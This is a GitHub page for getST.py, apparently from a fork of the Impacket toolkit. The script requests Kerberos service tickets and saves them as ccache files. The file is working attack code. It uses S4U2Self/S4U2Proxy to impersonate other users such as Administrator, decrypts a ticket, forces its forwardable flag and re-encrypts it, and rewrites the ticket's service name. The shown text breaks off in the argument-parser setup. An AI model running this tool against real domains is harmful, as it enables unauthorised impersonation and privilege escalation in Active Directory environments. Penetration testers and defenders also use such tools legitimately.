forked from fortra/impacket
-
Notifications
You must be signed in to change notification settings - Fork 0
/
getST.py
executable file
·822 lines (679 loc) · 40 KB
/
getST.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
#!/usr/bin/env python3
# Impacket - Collection of Python classes for working with network protocols.
#
# Copyright (C) 2024 Fortra. All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# Given a password, hash, aesKey or TGT in ccache, it will request a Service Ticket and save it as ccache
# If the account has constrained delegation (with protocol transition) privileges you will be able to use
# the -impersonate switch to request the ticket on behalf other user (it will use S4U2Self/S4U2Proxy to
# request the ticket.)
#
# Similar feature has been implemented already by Benjamin Delpy (@gentilkiwi) in Kekeo (s4u)
#
# Examples:
# ./getST.py -hashes lm:nt -spn cifs/contoso-dc contoso.com/user
# or
# If you have tickets cached (run klist to verify) the script will use them
# ./getST.py -k -spn cifs/contoso-dc contoso.com/user
# Be sure tho, that the cached TGT has the forwardable flag set (klist -f). getTGT.py will ask forwardable tickets
# by default.
#
# Also, if the account is configured with constrained delegation (with protocol transition) you can request
# service tickets for other users, assuming the target SPN is allowed for delegation:
# ./getST.py -k -impersonate Administrator -spn cifs/contoso-dc contoso.com/user
#
# The output of this script will be a service ticket for the Administrator user.
#
# Once you have the ccache file, set it in the KRB5CCNAME variable and use it for fun and profit.
#
# Authors:
# Alberto Solino (@agsolino)
# Charlie Bromberg (@_nwodtuhs)
# Martin Gallo (@MartinGalloAr)
# Dirk-jan Mollema (@_dirkjan)
# Elad Shamir (@elad_shamir)
# @snovvcrash
# Leandro (@0xdeaddood)
# Jake Karnes (@jakekarnes42)
from __future__ import division
from __future__ import print_function
import argparse
import datetime
import logging
import os
import random
import struct
import sys
from binascii import hexlify, unhexlify
from six import b
from pyasn1.codec.der import decoder, encoder
from pyasn1.type.univ import noValue
from impacket import version
from impacket.examples import logger
from impacket.examples.utils import parse_credentials
from impacket.krb5 import constants, types, crypto, ccache
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \
Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS, EncTicketPart
from impacket.krb5.ccache import CCache, Credential
from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, _AES256CTS, Enctype, string_to_key
from impacket.krb5.constants import TicketFlags, encodeFlags
from impacket.krb5.kerberosv5 import getKerberosTGS, getKerberosTGT, sendReceive
from impacket.krb5.types import Principal, KerberosTime, Ticket
from impacket.ntlm import compute_nthash
from impacket.winregistry import hexdump
class GETST:
def __init__(self, target, password, domain, options):
self.__password = password
self.__user = target
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = options.aesKey
self.__options = options
self.__kdcHost = options.dc_ip
self.__force_forwardable = options.force_forwardable
self.__additional_ticket = options.additional_ticket
self.__saveFileName = None
self.__no_s4u2proxy = options.no_s4u2proxy
if options.hashes is not None:
self.__lmhash, self.__nthash = options.hashes.split(':')
def saveTicket(self, ticket, sessionKey):
ccache = CCache()
if self.__options.altservice is not None:
decodedST = decoder.decode(ticket, asn1Spec=TGS_REP())[0]
sname = decodedST['ticket']['sname']['name-string']
if len(decodedST['ticket']['sname']['name-string']) == 1:
logging.debug("Original sname is not formatted as usual (i.e. CLASS/HOSTNAME), automatically filling the substitution service will fail")
logging.debug("Original sname is: %s" % sname[0])
if '/' not in self.__options.altservice:
raise ValueError("Substitution service must include service class AND name (i.e. CLASS/HOSTNAME@REALM, or CLASS/HOSTNAME)")
service_class, service_hostname = ('', sname[0])
service_realm = decodedST['ticket']['realm']
elif len(decodedST['ticket']['sname']['name-string']) == 2:
service_class, service_hostname = decodedST['ticket']['sname']['name-string']
service_realm = decodedST['ticket']['realm']
else:
logging.debug("Original sname is: %s" % '/'.join(sname))
raise ValueError("Original sname is not formatted as usual (i.e. CLASS/HOSTNAME), something's wrong here...")
if '@' in self.__options.altservice:
new_service_realm = self.__options.altservice.split('@')[1].upper()
if not '.' in new_service_realm:
logging.debug("New service realm is not FQDN, you may encounter errors")
if '/' in self.__options.altservice:
new_service_hostname = self.__options.altservice.split('@')[0].split('/')[1]
new_service_class = self.__options.altservice.split('@')[0].split('/')[0]
else:
logging.debug("No service hostname in new SPN, using the current one (%s)" % service_hostname)
new_service_hostname = service_hostname
new_service_class = self.__options.altservice.split('@')[0]
else:
logging.debug("No service realm in new SPN, using the current one (%s)" % service_realm)
new_service_realm = service_realm
if '/' in self.__options.altservice:
new_service_hostname = self.__options.altservice.split('/')[1]
new_service_class = self.__options.altservice.split('/')[0]
else:
logging.debug("No service hostname in new SPN, using the current one (%s)" % service_hostname)
new_service_hostname = service_hostname
new_service_class = self.__options.altservice
if len(service_class) == 0:
current_service = "%s@%s" % (service_hostname, service_realm)
else:
current_service = "%s/%s@%s" % (service_class, service_hostname, service_realm)
new_service = "%s/%s@%s" % (new_service_class, new_service_hostname, new_service_realm)
self.__saveFileName += "@" + new_service.replace("/", "_")
logging.info('Changing service from %s to %s' % (current_service, new_service))
# the values are changed in the ticket
decodedST['ticket']['sname']['name-string'][0] = new_service_class
decodedST['ticket']['sname']['name-string'][1] = new_service_hostname
decodedST['ticket']['realm'] = new_service_realm
ticket = encoder.encode(decodedST)
ccache.fromTGS(ticket, sessionKey, sessionKey)
# the values need to be changed in the ccache credentials
# we already checked everything above, we can simply do the second replacement here
for creds in ccache.credentials:
creds['server'].fromPrincipal(Principal(new_service, type=constants.PrincipalNameType.NT_PRINCIPAL.value))
else:
ccache.fromTGS(ticket, sessionKey, sessionKey)
creds = ccache.credentials[0]
service_realm = creds['server'].realm['data']
service_class = ''
if len(creds['server'].components) == 2:
service_class = creds['server'].components[0]['data']
service_hostname = creds['server'].components[1]['data']
else:
service_hostname = creds['server'].components[0]['data']
if len(service_class) == 0:
service = "%s@%s" % (service_hostname, service_realm)
else:
service = "%s/%s@%s" % (service_class, service_hostname, service_realm)
self.__saveFileName += "@" + service.replace("/", "_")
logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache'))
ccache.saveFile(self.__saveFileName + '.ccache')
def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path):
if not os.path.isfile(additional_ticket_path):
logging.error("Ticket %s doesn't exist" % additional_ticket_path)
exit(0)
else:
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
logging.info("\tUsing additional ticket %s instead of S4U2Self" % additional_ticket_path)
ccache = CCache.loadFile(additional_ticket_path)
principal = ccache.credentials[0].header['server'].prettyPrint()
creds = ccache.getCredential(principal.decode())
TGS = creds.toTGS(principal)
tgs = decoder.decode(TGS['KDC_REP'], asn1Spec=TGS_REP())[0]
if logging.getLogger().level == logging.DEBUG:
logging.debug('TGS_REP')
print(tgs.prettyPrint())
if self.__force_forwardable:
# Convert hashes to binary form, just in case we're receiving strings
if isinstance(nthash, str):
try:
nthash = unhexlify(nthash)
except TypeError:
pass
if isinstance(aesKey, str):
try:
aesKey = unhexlify(aesKey)
except TypeError:
pass
# Compute NTHash and AESKey if they're not provided in arguments
if self.__password != '' and self.__domain != '' and self.__user != '':
if not nthash:
nthash = compute_nthash(self.__password)
if logging.getLogger().level == logging.DEBUG:
logging.debug('NTHash')
print(hexlify(nthash).decode())
if not aesKey:
salt = self.__domain.upper() + self.__user
aesKey = _AES256CTS.string_to_key(self.__password, salt, params=None).contents
if logging.getLogger().level == logging.DEBUG:
logging.debug('AESKey')
print(hexlify(aesKey).decode())
# Get the encrypted ticket returned in the TGS. It's encrypted with one of our keys
cipherText = tgs['ticket']['enc-part']['cipher']
# Check which cipher was used to encrypt the ticket. It's not always the same
# This determines which of our keys we should use for decryption/re-encryption
newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])]
if newCipher.enctype == Enctype.RC4:
key = Key(newCipher.enctype, nthash)
else:
key = Key(newCipher.enctype, aesKey)
# Decrypt and decode the ticket
# Key Usage 2
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
# application session key), encrypted with the service key
# (section 5.4.2)
plainText = newCipher.decrypt(key, 2, cipherText)
encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0]
# Print the flags in the ticket before modification
logging.debug('\tService ticket from S4U2self flags: ' + str(encTicketPart['flags']))
logging.debug('\tService ticket from S4U2self is'
+ ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not')
+ ' forwardable')
# Customize flags the forwardable flag is the only one that really matters
logging.info('\tForcing the service ticket to be forwardable')
# convert to string of bits
flagBits = encTicketPart['flags'].asBinary()
# Set the forwardable flag. Awkward binary string insertion
flagBits = flagBits[:TicketFlags.forwardable.value] + '1' + flagBits[TicketFlags.forwardable.value + 1:]
# Overwrite the value with the new bits
encTicketPart['flags'] = encTicketPart['flags'].clone(value=flagBits) # Update flags
logging.debug('\tService ticket flags after modification: ' + str(encTicketPart['flags']))
logging.debug('\tService ticket now is'
+ ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not')
+ ' forwardable')
# Re-encode and re-encrypt the ticket
# Again, Key Usage 2
encodedEncTicketPart = encoder.encode(encTicketPart)
cipherText = newCipher.encrypt(key, 2, encodedEncTicketPart, None)
# put it back in the TGS
tgs['ticket']['enc-part']['cipher'] = cipherText
################################################################################
# Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy
# So here I have a ST for me.. I now want a ST for another service
# Extract the ticket from the TGT
ticketTGT = Ticket()
ticketTGT.from_asn1(decodedTGT['ticket'])
# Get the service ticket
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticketTGT.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1(decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = noValue
tgsReq['padata'][0] = noValue
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
# Add resource-based constrained delegation support
paPacOptions = PA_PAC_OPTIONS()
paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,))
tgsReq['padata'][1] = noValue
tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value
tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions)
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
# This specified we're doing S4U
opts.append(constants.KDCOptions.cname_in_addl_tkt.value)
opts.append(constants.KDCOptions.canonicalize.value)
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
seq_set(reqBody, 'sname', service2.components_to_asn1)
reqBody['realm'] = self.__domain
myTicket = ticket.to_asn1(TicketAsn1())
seq_set_iter(reqBody, 'additional-tickets', (myTicket,))
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype',
(
int(constants.EncryptionTypes.rc4_hmac.value),
int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
int(constants.EncryptionTypes.des_cbc_md5.value),
int(cipher.enctype)
)
)
message = encoder.encode(tgsReq)
logging.info('Requesting S4U2Proxy')
r = sendReceive(message, self.__domain, kdcHost)
return r, None, sessionKey, None
def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost):
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1(decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
if logging.getLogger().level == logging.DEBUG:
logging.debug('AUTHENTICATOR')
print(authenticator.prettyPrint())
print('\n')
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = noValue
tgsReq['padata'][0] = noValue
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
# In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
# requests a service ticket to itself on behalf of a user. The user is
# identified to the KDC by the user's name and realm.
clientName = Principal(self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
S4UByteArray = struct.pack('<I', constants.PrincipalNameType.NT_PRINCIPAL.value)
S4UByteArray += b(self.__options.impersonate) + b(self.__domain) + b'Kerberos'
if logging.getLogger().level == logging.DEBUG:
logging.debug('S4UByteArray')
hexdump(S4UByteArray)
# Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash
# with the following three parameters: the session key of the TGT of
# the service performing the S4U2Self request, the message type value
# of 17, and the byte array S4UByteArray.
checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray)
if logging.getLogger().level == logging.DEBUG:
logging.debug('CheckSum')
hexdump(checkSum)
paForUserEnc = PA_FOR_USER_ENC()
seq_set(paForUserEnc, 'userName', clientName.components_to_asn1)
paForUserEnc['userRealm'] = self.__domain
paForUserEnc['cksum'] = noValue
paForUserEnc['cksum']['cksumtype'] = int(constants.ChecksumTypes.hmac_md5.value)
paForUserEnc['cksum']['checksum'] = checkSum
paForUserEnc['auth-package'] = 'Kerberos'
if logging.getLogger().level == logging.DEBUG:
logging.debug('PA_FOR_USER_ENC')
print(paForUserEnc.prettyPrint())
encodedPaForUserEnc = encoder.encode(paForUserEnc)
tgsReq['padata'][1] = noValue
tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value)
tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.canonicalize.value)
if self.__options.u2u:
opts.append(constants.KDCOptions.renewable_ok.value)
opts.append(constants.KDCOptions.enc_tkt_in_skey.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
if self.__no_s4u2proxy and self.__options.spn is not None:
logging.info("When doing S4U2self only, argument -spn is ignored")
if self.__options.u2u:
serverName = Principal(self.__user, self.__domain, type=constants.PrincipalNameType.NT_UNKNOWN.value)
else:
serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
reqBody['realm'] = str(decodedTGT['crealm'])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype',
(int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
if self.__options.u2u:
seq_set_iter(reqBody, 'additional-tickets', (ticket.to_asn1(TicketAsn1()),))
if logging.getLogger().level == logging.DEBUG:
logging.debug('Final TGS')
print(tgsReq.prettyPrint())
logging.info('Requesting S4U2self%s' % ('+U2U' if self.__options.u2u else ''))
message = encoder.encode(tgsReq)
r = sendReceive(message, self.__domain, kdcHost)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
if self.__no_s4u2proxy:
return r, None, sessionKey, None
if logging.getLogger().level == logging.DEBUG:
logging.debug('TGS_REP')
print(tgs.prettyPrint())
if self.__force_forwardable:
# Convert hashes to binary form, just in case we're receiving strings
if isinstance(nthash, str):
try:
nthash = unhexlify(nthash)
except TypeError:
pass
if isinstance(aesKey, str):
try:
aesKey = unhexlify(aesKey)
except TypeError:
pass
# Compute NTHash and AESKey if they're not provided in arguments
if self.__password != '' and self.__domain != '' and self.__user != '':
if not nthash:
nthash = compute_nthash(self.__password)
if logging.getLogger().level == logging.DEBUG:
logging.debug('NTHash')
print(hexlify(nthash).decode())
if not aesKey:
salt = self.__domain.upper() + self.__user
aesKey = _AES256CTS.string_to_key(self.__password, salt, params=None).contents
if logging.getLogger().level == logging.DEBUG:
logging.debug('AESKey')
print(hexlify(aesKey).decode())
# Get the encrypted ticket returned in the TGS. It's encrypted with one of our keys
cipherText = tgs['ticket']['enc-part']['cipher']
# Check which cipher was used to encrypt the ticket. It's not always the same
# This determines which of our keys we should use for decryption/re-encryption
newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])]
if newCipher.enctype == Enctype.RC4:
key = Key(newCipher.enctype, nthash)
else:
key = Key(newCipher.enctype, aesKey)
# Decrypt and decode the ticket
# Key Usage 2
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
# application session key), encrypted with the service key
# (section 5.4.2)
plainText = newCipher.decrypt(key, 2, cipherText)
encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0]
# Print the flags in the ticket before modification
logging.debug('\tService ticket from S4U2self flags: ' + str(encTicketPart['flags']))
logging.debug('\tService ticket from S4U2self is'
+ ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not')
+ ' forwardable')
# Customize flags the forwardable flag is the only one that really matters
logging.info('\tForcing the service ticket to be forwardable')
# convert to string of bits
flagBits = encTicketPart['flags'].asBinary()
# Set the forwardable flag. Awkward binary string insertion
flagBits = flagBits[:TicketFlags.forwardable.value] + '1' + flagBits[TicketFlags.forwardable.value + 1:]
# Overwrite the value with the new bits
encTicketPart['flags'] = encTicketPart['flags'].clone(value=flagBits) # Update flags
logging.debug('\tService ticket flags after modification: ' + str(encTicketPart['flags']))
logging.debug('\tService ticket now is'
+ ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not')
+ ' forwardable')
# Re-encode and re-encrypt the ticket
# Again, Key Usage 2
encodedEncTicketPart = encoder.encode(encTicketPart)
cipherText = newCipher.encrypt(key, 2, encodedEncTicketPart, None)
# put it back in the TGS
tgs['ticket']['enc-part']['cipher'] = cipherText
################################################################################
# Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy
# So here I have a ST for me.. I now want a ST for another service
# Extract the ticket from the TGT
ticketTGT = Ticket()
ticketTGT.from_asn1(decodedTGT['ticket'])
# Get the service ticket
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticketTGT.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1(decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = noValue
tgsReq['padata'][0] = noValue
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
# Add resource-based constrained delegation support
paPacOptions = PA_PAC_OPTIONS()
paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,))
tgsReq['padata'][1] = noValue
tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value
tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions)
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
# This specified we're doing S4U
opts.append(constants.KDCOptions.cname_in_addl_tkt.value)
opts.append(constants.KDCOptions.canonicalize.value)
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
seq_set(reqBody, 'sname', service2.components_to_asn1)
reqBody['realm'] = self.__domain
myTicket = ticket.to_asn1(TicketAsn1())
seq_set_iter(reqBody, 'additional-tickets', (myTicket,))
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype',
(
int(constants.EncryptionTypes.rc4_hmac.value),
int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
int(constants.EncryptionTypes.des_cbc_md5.value),
int(cipher.enctype)
)
)
message = encoder.encode(tgsReq)
logging.info('Requesting S4U2Proxy')
r = sendReceive(message, self.__domain, kdcHost)
return r, None, sessionKey, None
def run(self):
tgt = None
# Do we have a TGT cached?
domain, _, TGT, _ = CCache.parseFile(self.__domain)
# ToDo: Check this TGT belogns to the right principal
if TGT is not None:
tgt, cipher, sessionKey = TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']
oldSessionKey = sessionKey
if tgt is None:
# Still no TGT
userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
logging.info('Getting TGT for user')
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
unhexlify(self.__lmhash), unhexlify(self.__nthash),
self.__aesKey,
self.__kdcHost)
logging.debug("TGT session key: %s" % hexlify(sessionKey.contents).decode())
# Ok, we have valid TGT, let's try to get a service ticket
if self.__options.impersonate is None:
# Normal TGS interaction
logging.info('Getting ST for user')
serverName = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey)
self.__saveFileName = self.__user
else:
# Here's the rock'n'roll
try:
logging.info('Impersonating %s' % self.__options.impersonate)
# Editing below to pass hashes for decryption
if self.__additional_ticket is not None:
tgs, cipher, oldSessionKey, sessionKey = self.doS4U2ProxyWithAdditionalTicket(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey,
self.__kdcHost, self.__additional_ticket)
else:
tgs, cipher, oldSessionKey, sessionKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost)
except Exception as e:
logging.debug("Exception", exc_info=True)
logging.error(str(e))
if str(e).find('KDC_ERR_S_PRINCIPAL_UNKNOWN') >= 0:
logging.error('Probably user %s does not have constrained delegation permisions or impersonated user does not exist' % self.__user)
if str(e).find('KDC_ERR_BADOPTION') >= 0:
logging.error('Probably SPN is not allowed to delegate by user %s or initial TGT not forwardable' % self.__user)
return
self.__saveFileName = self.__options.impersonate
self.saveTicket(tgs, oldSessionKey)
if __name__ == '__main__':
print(version.BANNER)
parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a "
"Service Ticket and save it as ccache")
parser.add_argument('identity', action='store', help='[domain/]username[:password]')
parser.add_argument('-spn', action="store", help='SPN (service/server) of the target service the '
'service ticket will' ' be generated for')
parser.add_argument('-altservice', action="store", help='New sname/SPN to set in the ticket')
parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)'
' for quering the ST. Keep in mind this will only work if '
'the identity provided in this scripts is allowed for '
'delegation to the SPN specified')
parser.add_argument('-additional-ticket', action='store', metavar='ticket.ccache', help='include a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only')
parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('-u2u', dest='u2u', action='store_true', help='Request User-to-User ticket')
parser.add_argument('-self', dest='no_s4u2proxy', action='store_true', help='Only do S4U2self, no S4U2proxy')
